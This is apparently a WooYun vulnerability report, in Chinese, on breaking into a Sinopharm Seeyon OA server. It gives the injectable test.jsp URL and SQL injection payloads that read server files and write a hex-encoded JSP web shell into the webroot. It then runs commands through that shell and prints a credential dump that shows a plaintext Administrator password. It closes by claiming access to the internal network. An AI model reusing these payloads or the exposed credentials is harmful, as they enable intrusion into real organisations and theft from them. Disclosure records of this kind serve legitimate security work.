WooYun.org

国药集团、一次首页没上过呢，来个首页吧
注入点
http://www.scrcoabj.com/yyoa/common/js/menu/test.jsp?doType=101&S1=*
参数S1存在注入

先获取下当前数据库的目录
http://www.scrcoabj.com/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20@@basedir

然后尝试拼接写网站目录
http://www.scrcoabj.com/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20load_file(%27D:/UFseeyon/OA/tomcat/webapps/yyoa/WEB-INF/web.xml%27)

可以读取 那么来写个shell吧
http://cemftp.ce-air.com/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex(%273C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E%27)%20%20into%20outfile%20%27D:/UFseeyon/OA/tomcat/webapps/yyoa/he1p.jsp%27
然后成功拿到shell
http://www.scrcoabj.com/yyoa/22ss.jsp?pwd=023&i=whoami
查看下权限

读取下系统信息

Code by Vsbat/bbs.kanxue.com More：http://bbs.pediy.com/showthread.php?t=156643
Release by 闪电小子/pkav.net More：http://t.qq.com/dis9_tysan
UserName: NETWORK SERVICE
LogonDomain: NT AUTHORITY
password: 
UserName: Administrator
LogonDomain: NEWOA
password: Hxsj818
UserName: LOCAL SERVICE
LogonDomain: NT AUTHORITY
Specific LUID NOT found
UserName: 
LogonDomain: 
Specific LUID NOT found
UserName: ANONYMOUS LOGON
LogonDomain: NT AUTHORITY
Specific LUID NOT found
UserName: NEWOA$
LogonDomain: HXSJ_GROUP
Specific LUID NOT found

成功进入服务器

内网多台机器